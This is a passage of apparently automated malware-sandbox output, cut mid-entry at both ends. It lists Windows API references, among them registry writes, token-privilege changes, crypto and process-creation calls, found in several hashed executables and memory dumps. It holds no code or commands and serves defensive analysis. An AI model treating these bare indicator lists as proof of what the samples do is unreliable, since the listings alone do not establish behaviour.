"3b567ed788b8d07ec909035f6147abd3.exe") Found reference to API (Indicator: "SetEvent"; File: "3b567ed788b8d07ec909035f6147abd3.exe") Found reference to API (Indicator: "TerminateThread"; File: "3b567ed788b8d07ec909035f6147abd3.exe") Found reference to API (Indicator: "GetVersionExA"; File: "3b567ed788b8d07ec909035f6147abd3.exe") Found reference to API (Indicator: "LockResource"; File: "3b567ed788b8d07ec909035f6147abd3.exe") Found reference to API (Indicator: "GetSystemInfo"; File: "3b567ed788b8d07ec909035f6147abd3.exe") Found reference to API (Indicator: "CreateThread"; File: "3b567ed788b8d07ec909035f6147abd3.exe") Found reference to API (Indicator: "ResetEvent"; File: "3b567ed788b8d07ec909035f6147abd3.exe") Found reference to API (Indicator: "LoadResource"; File: "3b567ed788b8d07ec909035f6147abd3.exe") Found reference to API (Indicator: "ExitProcess"; File: "3b567ed788b8d07ec909035f6147abd3.exe") Found reference to API (Indicator: "GetModuleHandleW"; File: "3b567ed788b8d07ec909035f6147abd3.exe") Found reference to API (Indicator: "CreateProcessA"; File: "3b567ed788b8d07ec909035f6147abd3.exe") Found reference to API (Indicator: "FormatMessageA"; File: "3b567ed788b8d07ec909035f6147abd3.exe") Found reference to API (Indicator: "GetTempFileNameA"; File: "3b567ed788b8d07ec909035f6147abd3.exe") Found reference to API (Indicator: "DosDateTimeToFileTime"; File: "3b567ed788b8d07ec909035f6147abd3.exe") Found reference to API (Indicator: "CreateEventA"; File: "3b567ed788b8d07ec909035f6147abd3.exe") Found reference to API (Indicator: "GetExitCodeProcess"; File: "3b567ed788b8d07ec909035f6147abd3.exe") Found reference to API (Indicator: "GetDeviceCaps"; File: "3b567ed788b8d07ec909035f6147abd3.exe") Found reference to API (Indicator: "GetDesktopWindow"; File: "3b567ed788b8d07ec909035f6147abd3.exe") Found reference to API (Indicator: "CharUpperA"; File: "3b567ed788b8d07ec909035f6147abd3.exe") Found reference to API (Indicator: "ExitWindowsEx"; File: "3b567ed788b8d07ec909035f6147abd3.exe") Found reference to API (Indicator: "MessageBeep"; File: "3b567ed788b8d07ec909035f6147abd3.exe") Found reference to API (Indicator: "CharPrevA"; File: "3b567ed788b8d07ec909035f6147abd3.exe") Found reference to API (Indicator: "LoadStringA"; File: "3b567ed788b8d07ec909035f6147abd3.exe") Found reference to API (Indicator: "CharNextA"; File: "3b567ed788b8d07ec909035f6147abd3.exe") Found reference to API (Indicator: "EnableWindow"; File: "3b567ed788b8d07ec909035f6147abd3.exe") Found reference to API (Indicator: "ReleaseDC"; File: "3b567ed788b8d07ec909035f6147abd3.exe") Found reference to API (Indicator: "SetForegroundWindow"; File: "3b567ed788b8d07ec909035f6147abd3.exe") Found reference to API (Indicator: "PeekMessageA"; File: "3b567ed788b8d07ec909035f6147abd3.exe") Found reference to API (Indicator: "SendMessageA"; File: "3b567ed788b8d07ec909035f6147abd3.exe") Found reference to API (Indicator: "MessageBoxA"; File: "3b567ed788b8d07ec909035f6147abd3.exe") Found reference to API (Indicator: "SetWindowTextA"; File: "3b567ed788b8d07ec909035f6147abd3.exe") Found reference to API (Indicator: "GetWindowLongA"; File: "3b567ed788b8d07ec909035f6147abd3.exe") Found reference to API (Indicator: "CallWindowProcA"; File: "3b567ed788b8d07ec909035f6147abd3.exe") Found reference to API (Indicator: "SetWindowLongA"; File: "3b567ed788b8d07ec909035f6147abd3.exe") Found reference to API (Indicator: "ShowWindow"; File: "3b567ed788b8d07ec909035f6147abd3.exe") Found reference to API (Indicator: "MsgWaitForMultipleObjects"; File: "3b567ed788b8d07ec909035f6147abd3.exe") Found reference to API (Indicator: "SetWindowPos"; File: "3b567ed788b8d07ec909035f6147abd3.exe") Found reference to API (Indicator: "GetDC"; File: "3b567ed788b8d07ec909035f6147abd3.exe") Found reference to API (Indicator: "GetWindowRect"; File: "3b567ed788b8d07ec909035f6147abd3.exe") Found reference to API (Indicator: "DispatchMessageA"; File: "3b567ed788b8d07ec909035f6147abd3.exe") Found reference to API (Indicator: "GetFileVersionInfoSizeA"; File: "3b567ed788b8d07ec909035f6147abd3.exe") Found reference to API (Indicator: "VerQueryValueA"; File: "3b567ed788b8d07ec909035f6147abd3.exe") Found reference to API (Indicator: "GetFileVersionInfoA"; File: "3b567ed788b8d07ec909035f6147abd3.exe") Found reference to API (Indicator: "Sleep"; File: "3b567ed788b8d07ec909035f6147abd3.exe") Found reference to API (Indicator: "GetStartupInfoW"; File: "3b567ed788b8d07ec909035f6147abd3.exe") Found reference to API (Indicator: "UnhandledExceptionFilter"; File: "3b567ed788b8d07ec909035f6147abd3.exe") Found reference to API (Indicator: "SetUnhandledExceptionFilter"; File: "3b567ed788b8d07ec909035f6147abd3.exe") Found reference to API (Indicator: "TerminateProcess"; File: "3b567ed788b8d07ec909035f6147abd3.exe") Found reference to API (Indicator: "QueryPerformanceCounter"; File: "3b567ed788b8d07ec909035f6147abd3.exe") Found reference to API (Indicator: "GetCurrentProcessId"; File: "3b567ed788b8d07ec909035f6147abd3.exe") Found reference to API (Indicator: "GetCurrentThreadId"; File: "3b567ed788b8d07ec909035f6147abd3.exe") Found reference to API (Indicator: "GetSystemTimeAsFileTime"; File: "3b567ed788b8d07ec909035f6147abd3.exe") Found reference to API (Indicator: "GetTickCount"; File: "3b567ed788b8d07ec909035f6147abd3.exe") Found reference to API (Indicator: "EnumResourceLanguagesA"; File: "3b567ed788b8d07ec909035f6147abd3.exe") Found reference to API (Indicator: "GetDiskFreeSpaceA"; File: "3b567ed788b8d07ec909035f6147abd3.exe") Found reference to API (Indicator: "MulDiv"; File: "3b567ed788b8d07ec909035f6147abd3.exe") Found reference to API (Indicator: "GetSystemMetrics"; File: "3b567ed788b8d07ec909035f6147abd3.exe") Found reference to API (Indicator: "CompareStringEx"; File: "4wt454Ls.exe.1953644678") Found reference to API (Indicator: "FlsFree"; File: "4wt454Ls.exe.1953644678") Found reference to API (Indicator: "GetActiveWindow"; File: "4wt454Ls.exe.1953644678") Found reference to API (Indicator: "SetThreadStackGuarantee"; File: "4wt454Ls.exe.1953644678") Found reference to API (Indicator: "FlsGetValue"; File: "4wt454Ls.exe.1953644678") Found reference to API (Indicator: "GetSystemTimePreciseAsFileTime"; File: "4wt454Ls.exe.1953644678") Found reference to API (Indicator: "GetEnabledXStateFeatures"; File: "4wt454Ls.exe.1953644678") Found reference to API (Indicator: "FlsSetValue"; File: "4wt454Ls.exe.1953644678") Found reference to API (Indicator: "GetTimeFormatEx"; File: "4wt454Ls.exe.1953644678") Found reference to API (Indicator: "IsValidLocaleName"; File: "4wt454Ls.exe.1953644678") Found reference to API (Indicator: "FlsAlloc"; File: "4wt454Ls.exe.1953644678") Found reference to API (Indicator: "GetXStateFeaturesMask"; File: "4wt454Ls.exe.1953644678") Found reference to API (Indicator: "GetProcessWindowStation"; File: "4wt454Ls.exe.1953644678") Found reference to API (Indicator: "GetUserObjectInformationW"; File: "4wt454Ls.exe.1953644678") Found reference to API (Indicator: "GetDateFormatEx"; File: "4wt454Ls.exe.1953644678") Found reference to API (Indicator: "LCIDToLocaleName"; File: "4wt454Ls.exe.1953644678") Found reference to API (Indicator: "LCMapStringEx"; File: "4wt454Ls.exe.1953644678") Found reference to API (Indicator: "LocateXStateFeature"; File: "4wt454Ls.exe.1953644678") Found reference to API (Indicator: "EnumSystemLocalesEx"; File: "4wt454Ls.exe.1953644678") Found reference to API (Indicator: "InitializeCriticalSectionEx"; File: "4wt454Ls.exe.1953644678") Found reference to API (Indicator: "GetLastActivePopup"; File: "4wt454Ls.exe.1953644678") Found reference to API (Indicator: "LocaleNameToLCID"; File: "4wt454Ls.exe.1953644678") Found reference to API (Indicator: "GetUserDefaultLocaleName"; File: "4wt454Ls.exe.1953644678") Found reference to API (Indicator: "MessageBoxW"; File: "4wt454Ls.exe.1953644678") Found reference to API (Indicator: "AreFileApisANSI"; File: "4wt454Ls.exe.1953644678") Found reference to API (Indicator: "GetLocaleInfoEx"; File: "4wt454Ls.exe.1953644678") Found reference to API (Indicator: "SHGetKnownFolderPath"; File: "7jw3kC52.exe.1096256590") Found reference to API (Indicator: "GetLongPathNameW"; File: "7jw3kC52.exe.1096256590") Found reference to API (Indicator: "RtlGetVersion"; File: "7jw3kC52.exe.1096256590") Found reference to API (Indicator: "SHBrowseForFolderW"; File: "7jw3kC52.exe.1096256590") Found reference to API (Indicator: "SHGetPathFromIDListW"; File: "7jw3kC52.exe.1096256590") Found reference to API (Indicator: "SetCurrentDirectoryW"; File: "7jw3kC52.exe.1096256590") Found reference to API (Indicator: "CreateFileW"; File: "7jw3kC52.exe.1096256590") Found reference to API (Indicator: "TlsGetValue"; File: "7jw3kC52.exe.1096256590") Found reference to API (Indicator: "TlsSetValue"; File: "7jw3kC52.exe.1096256590") Found reference to API (Indicator: "SetLastError"; File: "7jw3kC52.exe.1096256590") Found reference to API (Indicator: "UnregisterWait"; File: "7jw3kC52.exe.1096256590") Found reference to API (Indicator: "GetCurrentThread"; File: "7jw3kC52.exe.1096256590") Found reference to API (Indicator: "VirtualFree"; File: "6Ju7HU6.exe.1773123244") Found reference to API (Indicator: "VirtualAlloc"; File: "6Ju7HU6.exe.1773123244") Found reference to API (Indicator: "InitializeSListHead"; File: "6Ju7HU6.exe.1773123244") Found reference to API (Indicator: "IsDebuggerPresent"; File: "6Ju7HU6.exe.1773123244") Found reference to API (Indicator: "IsProcessorFeaturePresent"; File: "6Ju7HU6.exe.1773123244") Found reference to API (Indicator: "RtlUnwind"; File: "6Ju7HU6.exe.1773123244") Found reference to API (Indicator: "EnterCriticalSection"; File: "6Ju7HU6.exe.1773123244") Found reference to API (Indicator: "LeaveCriticalSection"; File: "6Ju7HU6.exe.1773123244") Found reference to API (Indicator: "DeleteCriticalSection"; File: "6Ju7HU6.exe.1773123244") Found reference to API (Indicator: "InitializeCriticalSectionAndSpinCount"; File: "6Ju7HU6.exe.1773123244") Found reference to API (Indicator: "TlsAlloc"; File: "6Ju7HU6.exe.1773123244") Found reference to API (Indicator: "TlsFree"; File: "6Ju7HU6.exe.1773123244") Found reference to API (Indicator: "LoadLibraryExW"; File: "6Ju7HU6.exe.1773123244") Found reference to API (Indicator: "GetStdHandle"; File: "6Ju7HU6.exe.1773123244") Found reference to API (Indicator: "GetModuleFileNameW"; File: "6Ju7HU6.exe.1773123244") Found reference to API (Indicator: "GetModuleHandleExW"; File: "6Ju7HU6.exe.1773123244") Found reference to API (Indicator: "HeapFree"; File: "6Ju7HU6.exe.1773123244") Found reference to API (Indicator: "HeapAlloc"; File: "6Ju7HU6.exe.1773123244") Found reference to API (Indicator: "HeapReAlloc"; File: "6Ju7HU6.exe.1773123244") Found reference to API (Indicator: "LCMapStringW"; File: "6Ju7HU6.exe.1773123244") Found reference to API (Indicator: "FindFirstFileExW"; File: "6Ju7HU6.exe.1773123244") Found reference to API (Indicator: "FindNextFileW"; File: "6Ju7HU6.exe.1773123244") Found reference to API (Indicator: "IsValidCodePage"; File: "6Ju7HU6.exe.1773123244") Found reference to API (Indicator: "GetACP"; File: "6Ju7HU6.exe.1773123244") Found reference to API (Indicator: "GetOEMCP"; File: "6Ju7HU6.exe.1773123244") Found reference to API (Indicator: "GetCPInfo"; File: "6Ju7HU6.exe.1773123244") Found reference to API (Indicator: "GetCommandLineA"; File: "6Ju7HU6.exe.1773123244") Found reference to API (Indicator: "GetCommandLineW"; File: "6Ju7HU6.exe.1773123244") Found reference to API (Indicator: "MultiByteToWideChar"; File: "6Ju7HU6.exe.1773123244") Found reference to API (Indicator: "GetEnvironmentStringsW"; File: "6Ju7HU6.exe.1773123244") Found reference to API (Indicator: "FreeEnvironmentStringsW"; File: "6Ju7HU6.exe.1773123244") Found reference to API (Indicator: "SetStdHandle"; File: "6Ju7HU6.exe.1773123244") Found reference to API (Indicator: "GetFileType"; File: "6Ju7HU6.exe.1773123244") Found reference to API (Indicator: "GetStringTypeW"; File: "6Ju7HU6.exe.1773123244") Found reference to API (Indicator: "GetProcessHeap"; File: "6Ju7HU6.exe.1773123244") Found reference to API (Indicator: "HeapSize"; File: "6Ju7HU6.exe.1773123244") Found reference to API (Indicator: "FlushFileBuffers"; File: "6Ju7HU6.exe.1773123244") Found reference to API (Indicator: "GetConsoleOutputCP"; File: "6Ju7HU6.exe.1773123244") Found reference to API (Indicator: "GetConsoleMode"; File: "6Ju7HU6.exe.1773123244") Found reference to API (Indicator: "SetFilePointerEx"; File: "6Ju7HU6.exe.1773123244") Found reference to API (Indicator: "WriteConsoleW"; File: "6Ju7HU6.exe.1773123244") Found reference to API (Indicator: "CheckTokenMembership"; Source: "00000000-00000148.00000002.70803.00881000.00000020.mdmp") Found reference to API (Indicator: "HeapSetInformation"; Source: "00000000-00000148.00000002.70803.00881000.00000020.mdmp") Found reference to API (Indicator: "DecryptFileA"; Source: "00000000-00000148.00000002.70803.00881000.00000020.mdmp") Found reference to API (Indicator: "GetTokenInformation"; Source: "00000000-00000148.00000002.70803.0088A000.00000002.mdmp") Found reference to API (Indicator: "RegDeleteValueA"; Source: "00000000-00000148.00000002.70803.0088A000.00000002.mdmp") Found reference to API (Indicator: "RegOpenKeyExA"; Source: "00000000-00000148.00000002.70803.0088A000.00000002.mdmp") Found reference to API (Indicator: "RegQueryInfoKeyA"; Source: "00000000-00000148.00000002.70803.0088A000.00000002.mdmp") Found reference to API (Indicator: "FreeSid"; Source: "00000000-00000148.00000002.70803.0088A000.00000002.mdmp") Found reference to API (Indicator: "OpenProcessToken"; Source: "00000000-00000148.00000002.70803.0088A000.00000002.mdmp") Found reference to API (Indicator: "RegSetValueExA"; Source: "00000000-00000148.00000002.70803.0088A000.00000002.mdmp") Found reference to API (Indicator: "RegCreateKeyExA"; Source: "00000000-00000148.00000002.70803.0088A000.00000002.mdmp") Found reference to API (Indicator: "LookupPrivilegeValueA"; Source: "00000000-00000148.00000002.70803.0088A000.00000002.mdmp") Found reference to API (Indicator: "AllocateAndInitializeSid"; Source: "00000000-00000148.00000002.70803.0088A000.00000002.mdmp") Found reference to API (Indicator: "RegQueryValueExA"; Source: "00000000-00000148.00000002.70803.0088A000.00000002.mdmp") Found reference to API (Indicator: "EqualSid"; Source: "00000000-00000148.00000002.70803.0088A000.00000002.mdmp") Found reference to API (Indicator: "RegCloseKey"; Source: "00000000-00000148.00000002.70803.0088A000.00000002.mdmp") Found reference to API (Indicator: "AdjustTokenPrivileges"; Source: "00000000-00000148.00000002.70803.0088A000.00000002.mdmp") Found reference to API (Indicator: "GetShortPathNameA"; Source: "00000000-00000148.00000002.70803.0088A000.00000002.mdmp") Found reference to API (Indicator: "GetModuleFileNameA"; Source: "00000000-00000148.00000002.70803.0088A000.00000002.mdmp") Found reference to API (Indicator: "FindFirstFileA"; Source: "00000000-00000148.00000002.70803.0088A000.00000002.mdmp") Found reference to API (Indicator: "GetCurrentProcess"; Source: "00000000-00000148.00000002.70803.0088A000.00000002.mdmp") Found reference to API (Indicator: "FindNextFileA"; Source: "00000000-00000148.00000002.70803.0088A000.00000002.mdmp") Found reference to API (Indicator: "ExpandEnvironmentStringsA"; Source: "00000000-00000148.00000002.70803.0088A000.00000002.mdmp") Found reference to API (Indicator: "FindClose"; Source: "00000000-00000148.00000002.70803.0088A000.00000002.mdmp") Found reference to API (Indicator: "LocalAlloc"; Source: "00000000-00000148.00000002.70803.0088A000.00000002.mdmp") Found reference to API (Indicator: "lstrcmpA"; Source: "00000000-00000148.00000002.70803.0088A000.00000002.mdmp") Found reference to API (Indicator: "CompareStringA"; Source: "00000000-00000148.00000002.70803.0088A000.00000002.mdmp") Found reference to API (Indicator: "GetLastError"; Source: "00000000-00000148.00000002.70803.0088A000.00000002.mdmp") Found reference to API (Indicator: "GetFileAttributesA"; Source: "00000000-00000148.00000002.70803.0088A000.00000002.mdmp") Found reference to API (Indicator: "GetSystemDirectoryA"; Source: "00000000-00000148.00000002.70803.0088A000.00000002.mdmp") Found reference to API (Indicator: "LoadLibraryA"; Source: "00000000-00000148.00000002.70803.0088A000.00000002.mdmp") Found reference to API (Indicator: "DeleteFileA"; Source: "00000000-00000148.00000002.70803.0088A000.00000002.mdmp") Found reference to API (Indicator: "GlobalAlloc"; Source: "00000000-00000148.00000002.70803.0088A000.00000002.mdmp") Found reference to API (Indicator: "GlobalFree"; Source: "00000000-00000148.00000002.70803.0088A000.00000002.mdmp") Found reference to API (Indicator: "CloseHandle"; Source: "00000000-00000148.00000002.70803.0088A000.00000002.mdmp") Found reference to API (Indicator: "WritePrivateProfileStringA"; Source: "00000000-00000148.00000002.70803.0088A000.00000002.mdmp") Found reference to API (Indicator: "IsDBCSLeadByte"; Source: "00000000-00000148.00000002.70803.0088A000.00000002.mdmp") Found reference to API (Indicator: "GetWindowsDirectoryA"; Source: "00000000-00000148.00000002.70803.0088A000.00000002.mdmp") Found reference to API (Indicator: "SetFileAttributesA"; Source: "00000000-00000148.00000002.70803.0088A000.00000002.mdmp") Found reference to API (Indicator: "GetProcAddress"; Source: "00000000-00000148.00000002.70803.0088A000.00000002.mdmp") Found reference to API (Indicator: "GlobalLock"; Source: "00000000-00000148.00000002.70803.0088A000.00000002.mdmp") Found reference to API (Indicator: "LocalFree"; Source: "00000000-00000148.00000002.70803.0088A000.00000002.mdmp") Found reference to API (Indicator: "RemoveDirectoryA"; Source: "00000000-00000148.00000002.70803.0088A000.00000002.mdmp") Found reference to API (Indicator: "FreeLibrary"; Source: "00000000-00000148.00000002.70803.0088A000.00000002.mdmp") Found reference to API (Indicator: "CreateDirectoryA"; Source: "00000000-00000148.00000002.70803.0088A000.00000002.mdmp") Found reference to API (Indicator: "GetPrivateProfileIntA"; Source: "00000000-00000148.00000002.70803.0088A000.00000002.mdmp") Found reference to API (Indicator: "GetPrivateProfileStringA"; Source: "00000000-00000148.00000002.70803.0088A000.00000002.mdmp") Found reference to API (Indicator: "GlobalUnlock"; Source: "00000000-00000148.00000002.70803.0088A000.00000002.mdmp") Found reference to API (Indicator: "ReadFile"; Source: "00000000-00000148.00000002.70803.0088A000.00000002.mdmp") Found reference to API (Indicator: "SizeofResource"; Source: "00000000-00000148.00000002.70803.0088A000.00000002.mdmp") Found reference to API (Indicator: "WriteFile"; Source: "00000000-00000148.00000002.70803.0088A000.00000002.mdmp") Found reference to API (Indicator: "GetDriveTypeA"; Source: "00000000-00000148.00000002.70803.0088A000.00000002.mdmp") Found reference to API (Indicator: "LoadLibraryExA"; Source: "00000000-00000148.00000002.70803.0088A000.00000002.mdmp") Found reference to API (Indicator: "SetFileTime"; Source: "00000000-00000148.00000002.70803.0088A000.00000002.mdmp") Found reference to API (Indicator: "SetFilePointer"; Source: "00000000-00000148.00000002.70803.0088A000.00000002.mdmp") Found reference to API (Indicator: "FindResourceA"; Source: "00000000-00000148.00000002.70803.0088A000.00000002.mdmp") Found reference to API (Indicator: "CreateMutexA"; Source: "00000000-00000148.00000002.70803.0088A000.00000002.mdmp") Found reference to API (Indicator: "GetVolumeInformationA"; Source: "00000000-00000148.00000002.70803.0088A000.00000002.mdmp") Found reference to API (Indicator: "WaitForSingleObject"; Source: "00000000-00000148.00000002.70803.0088A000.00000002.mdmp") Found reference to API (Indicator: "GetCurrentDirectoryA"; Source: "00000000-00000148.00000002.70803.0088A000.00000002.mdmp") Found reference to API (Indicator: "FreeResource"; Source: "00000000-00000148.00000002.70803.0088A000.00000002.mdmp") Found reference to API (Indicator: "GetVersion"; Source: "00000000-00000148.00000002.70803.0088A000.00000002.mdmp") Found reference to API (Indicator: "SetCurrentDirectoryA"; Source: "00000000-00000148.00000002.70803.0088A000.00000002.mdmp") Found reference to API (Indicator: "GetTempPathA"; Source: "00000000-00000148.00000002.70803.0088A000.00000002.mdmp") Found reference to API (Indicator: "LocalFileTimeToFileTime"; Source: "00000000-00000148.00000002.70803.0088A000.00000002.mdmp") Found reference to API (Indicator: "CreateFileA"; Source: "00000000-00000148.00000002.70803.0088A000.00000002.mdmp") Found reference to API (Indicator: "SetEvent"; Source: "00000000-00000148.00000002.70803.0088A000.00000002.mdmp") Found reference to API (Indicator: "TerminateThread"; Source: "00000000-00000148.00000002.70803.0088A000.00000002.mdmp") Found reference to API (Indicator: "GetVersionExA"; Source: "00000000-00000148.00000002.70803.0088A000.00000002.mdmp") Found reference to API (Indicator: "LockResource"; Source: "00000000-00000148.00000002.70803.0088A000.00000002.mdmp") Found reference to API (Indicator: "GetSystemInfo"; Source: "00000000-00000148.00000002.70803.0088A000.00000002.mdmp") Found reference to API (Indicator: "CreateThread"; Source: "00000000-00000148.00000002.70803.0088A000.00000002.mdmp") Found reference to API (Indicator: "ResetEvent"; Source: "00000000-00000148.00000002.70803.0088A000.00000002.mdmp") Found reference to API (Indicator: "LoadResource"; Source: "00000000-00000148.00000002.70803.0088A000.00000002.mdmp") Found reference to API (Indicator: "ExitProcess"; Source: "00000000-00000148.00000002.70803.0088A000.00000002.mdmp") Found reference to API (Indicator: "GetModuleHandleW"; Source: "00000000-00000148.00000002.70803.0088A000.00000002.mdmp") Found reference to API (Indicator: "CreateProcessA"; Source: "00000000-00000148.00000002.70803.0088A000.00000002.mdmp") Found reference to API (Indicator: "FormatMessageA"; Source: "00000000-00000148.00000002.70803.0088A000.00000002.mdmp") Found reference to API (Indicator: "GetTempFileNameA"; Source: "00000000-00000148.00000002.70803.0088A000.00000002.mdmp") Found reference to API (Indicator: "DosDateTimeToFileTime"; Source: "00000000-00000148.00000002.70803.0088A000.00000002.mdmp") Found reference to API (Indicator: "CreateEventA"; Source: "00000000-00000148.00000002.70803.0088A000.00000002.mdmp") Found reference to API (Indicator: "GetExitCodeProcess"; Source: "00000000-00000148.00000002.70803.0088A000.00000002.mdmp") Found reference to API (Indicator: "GetDeviceCaps"; Source: "00000000-00000148.00000002.70803.0088A000.00000002.mdmp") Found reference to API (Indicator: "GetDesktopWindow"; Source: "00000000-00000148.00000002.70803.0088A000.00000002.mdmp") Found reference to API (Indicator: "CharUpperA"; Source: "00000000-00000148.00000002.70803.0088A000.00000002.mdmp") Found reference to API (Indicator: "ExitWindowsEx"; Source: "00000000-00000148.00000002.70803.0088A000.00000002.mdmp") Found reference to API (Indicator: "MessageBeep"; Source: "00000000-00000148.00000002.70803.0088A000.00000002.mdmp") Found reference to API (Indicator: "CharPrevA"; Source: "00000000-00000148.00000002.70803.0088A000.00000002.mdmp") Found reference to API (Indicator: "LoadStringA"; Source: "00000000-00000148.00000002.70803.0088A000.00000002.mdmp") Found reference to API (Indicator: "CharNextA"; Source: "00000000-00000148.00000002.70803.0088A000.00000002.mdmp") Found reference to API (Indicator: "EnableWindow"; Source: "00000000-00000148.00000002.70803.0088A000.00000002.mdmp") Found reference to API (Indicator: "ReleaseDC"; Source: "00000000-00000148.00000002.70803.0088A000.00000002.mdmp") Found reference to API (Indicator: "SetForegroundWindow"; Source: "00000000-00000148.00000002.70803.0088A000.00000002.mdmp") Found reference to API (Indicator: "PeekMessageA"; Source: "00000000-00000148.00000002.70803.0088A000.00000002.mdmp") Found reference to API (Indicator: "SendMessageA"; Source: "00000000-00000148.00000002.70803.0088A000.00000002.mdmp") Found reference to API (Indicator: "MessageBoxA"; Source: "00000000-00000148.00000002.70803.0088A000.00000002.mdmp") Found reference to API (Indicator: "SetWindowTextA"; Source: "00000000-00000148.00000002.70803.0088A000.00000002.mdmp") Found reference to API (Indicator: "GetWindowLongA"; Source: "00000000-00000148.00000002.70803.0088A000.00000002.mdmp") Found reference to API (Indicator: "CallWindowProcA"; Source: "00000000-00000148.00000002.70803.0088A000.00000002.mdmp") Found reference to API (Indicator: "SetWindowLongA"; Source: "00000000-00000148.00000002.70803.0088A000.00000002.mdmp") Found reference to API (Indicator: "ShowWindow"; Source: "00000000-00000148.00000002.70803.0088A000.00000002.mdmp") Found reference to API (Indicator: "MsgWaitForMultipleObjects"; Source: "00000000-00000148.00000002.70803.0088A000.00000002.mdmp") Found reference to API (Indicator: "SetWindowPos"; Source: "00000000-00000148.00000002.70803.0088A000.00000002.mdmp") Found reference to API (Indicator: "GetDC"; Source: "00000000-00000148.00000002.70803.0088A000.00000002.mdmp") Found reference to API (Indicator: "GetWindowRect"; Source: "00000000-00000148.00000002.70803.0088A000.00000002.mdmp") Found reference to API (Indicator: "DispatchMessageA"; Source: "00000000-00000148.00000002.70803.0088A000.00000002.mdmp") Found reference to API (Indicator: "GetFileVersionInfoSizeA"; Source: "00000000-00000148.00000002.70803.0088A000.00000002.mdmp") Found reference to API (Indicator: "VerQueryValueA"; Source: "00000000-00000148.00000002.70803.0088A000.00000002.mdmp") Found reference to API (Indicator: "GetFileVersionInfoA"; Source: "00000000-00000148.00000002.70803.0088A000.00000002.mdmp") Found reference to API (Indicator: "Sleep"; Source: "00000000-00000148.00000002.70803.0088A000.00000002.mdmp") Found reference to API (Indicator: "GetStartupInfoW"; Source: "00000000-00000148.00000002.70803.0088A000.00000002.mdmp") Found reference to API (Indicator: "UnhandledExceptionFilter"; Source: "00000000-00000148.00000002.70803.0088A000.00000002.mdmp") Found reference to API (Indicator: "SetUnhandledExceptionFilter"; Source: "00000000-00000148.00000002.70803.0088A000.00000002.mdmp") Found reference to API (Indicator: "TerminateProcess"; Source: "00000000-00000148.00000002.70803.0088A000.00000002.mdmp") Found reference to API (Indicator: "QueryPerformanceCounter"; Source: "00000000-00000148.00000002.70803.0088A000.00000002.mdmp") Found reference to API (Indicator: "GetCurrentProcessId"; Source: "00000000-00000148.00000002.70803.0088A000.00000002.mdmp") Found reference to API (Indicator: "GetCurrentThreadId"; Source: "00000000-00000148.00000002.70803.0088A000.00000002.mdmp") Found reference to API (Indicator: "GetSystemTimeAsFileTime"; Source: "00000000-00000148.00000002.70803.0088A000.00000002.mdmp") Found reference to API (Indicator: "GetTickCount"; Source: "00000000-00000148.00000002.70803.0088A000.00000002.mdmp") Found reference to API (Indicator: "EnumResourceLanguagesA"; Source: "00000000-00000148.00000002.70803.0088A000.00000002.mdmp") Found reference to API (Indicator: "GetDiskFreeSpaceA"; Source: "00000000-00000148.00000002.70803.0088A000.00000002.mdmp") Found reference to API (Indicator: "MulDiv"; Source: "00000000-00000148.00000002.70803.0088A000.00000002.mdmp") Found reference to API (Indicator: "GetSystemMetrics"; Source: "00000000-00000148.00000002.70803.0088A000.00000002.mdmp") Found reference to API (Indicator: "CryptImportKey"; Source: "00000000-00002900.00000000.67105.00720000.00000004.mdmp, 00000000-00002900.00000002.70945.00720000.00000004.mdmp") Found reference to API (Indicator: "GetTokenInformation"; Source: "00000000-00002900.00000000.67105.00C1A000.00000002.mdmp") Found reference to API (Indicator: "RegDeleteValueA"; Source: "00000000-00002900.00000000.67105.00C1A000.00000002.mdmp") Found reference to API (Indicator: "RegOpenKeyExA"; Source: "00000000-00002900.00000000.67105.00C1A000.00000002.mdmp") Found reference to API (Indicator: "RegQueryInfoKeyA"; Source: "00000000-00002900.00000000.67105.00C1A000.00000002.mdmp") Found reference to API (Indicator: "FreeSid"; Source: "00000000-00002900.00000000.67105.00C1A000.00000002.mdmp") Found reference to API (Indicator: "OpenProcessToken"; Source: "00000000-00002900.00000000.67105.00C1A000.00000002.mdmp") Found reference to API (Indicator: "RegSetValueExA"; Source: "00000000-00002900.00000000.67105.00C1A000.00000002.mdmp") Found reference to API (Indicator: "RegCreateKeyExA"; Source: "00000000-00002900.00000000.67105.00C1A000.00000002.mdmp") Found reference to API (Indicator: "LookupPrivilegeValueA"; Source: "00000000-00002900.00000000.67105.00C1A000.00000002.mdmp") Found reference to API (Indicator: "AllocateAndInitializeSid"; Source: "00000000-00002900.00000000.67105.00C1A000.00000002.mdmp") Found reference to API (Indicator: "RegQueryValueExA"; Source: "00000000-00002900.00000000.67105.00C1A000.00000002.mdmp") Found reference to API (Indicator: "EqualSid"; Source: "00000000-00002900.00000000.67105.00C1A000.00000002.mdmp") Found reference to API (Indicator: "RegCloseKey"; Source: "00000000-00002900.00000000.67105.00C1A000.00000002.mdmp") Found reference to API (Indicator: "AdjustTokenPrivileges"; Source: "00000000-00002900.00000000.67105.00C1A000.00000002.mdmp") Found reference to API (Indicator: "GetShortPathNameA"; Source: "00000000-00002900.00000000.67105.00C1A000.00000002.mdmp") Found reference to API (Indicator: "GetModuleFileNameA"; Source: "00000000-00002900.00000000.67105.00C1A000.00000002.mdmp") Found reference to API (Indicator: "FindFirstFileA"; Source: "00000000-00002900.00000000.67105.00C1A000.00000002.mdmp") Found reference to API (Indicator: "GetCurrentProcess"; Source: "00000000-00002900.00000000.67105.00C1A000.00000002.mdmp") Found reference to API (Indicator: "FindNextFileA"; Source: "00000000-00002900.00000000.67105.00C1A000.00000002.mdmp") Found reference to API (Indicator: "ExpandEnvironmentStringsA"; Source: "00000000-00002900.00000000.67105.00C1A000.00000002.mdmp") Found reference to API (Indicator: "FindClose"; Source: "00000000-00002900.00000000.67105.00C1A000.00000002.mdmp") Found reference to API (Indicator: "LocalAlloc"; Source: "00000000-00002900.00000000.67105.00C1A000.00000002.mdmp") Found reference to API (Indicator: "lstrcmpA"; Source: "00000000-00002900.00000000.67105.00C1A000.00000002.mdmp") Found reference to API (Indicator: "CompareStringA"; Source: "00000000-00002900.00000000.67105.00C1A000.00000002.mdmp") Found reference to API (Indicator: "GetLastError"; Source: "00000000-00002900.00000000.67105.00C1A000.00000002.mdmp") Found reference to API (Indicator: "GetFileAttributesA"; Source: "00000000-00002900.00000000.67105.00C1A000.00000002.mdmp") Found reference to API (Indicator: "GetSystemDirectoryA"; Source: "00000000-00002900.00000000.67105.00C1A000.00000002.mdmp") Found reference to API (Indicator: "LoadLibraryA"; Source: "00000000-00002900.00000000.67105.00C1A000.00000002.mdmp") Found reference to API (Indicator: "DeleteFileA"; Source: "00000000-00002900.00000000.67105.00C1A000.00000002.mdmp") Found reference to API (Indicator: "GlobalAlloc"; Source: 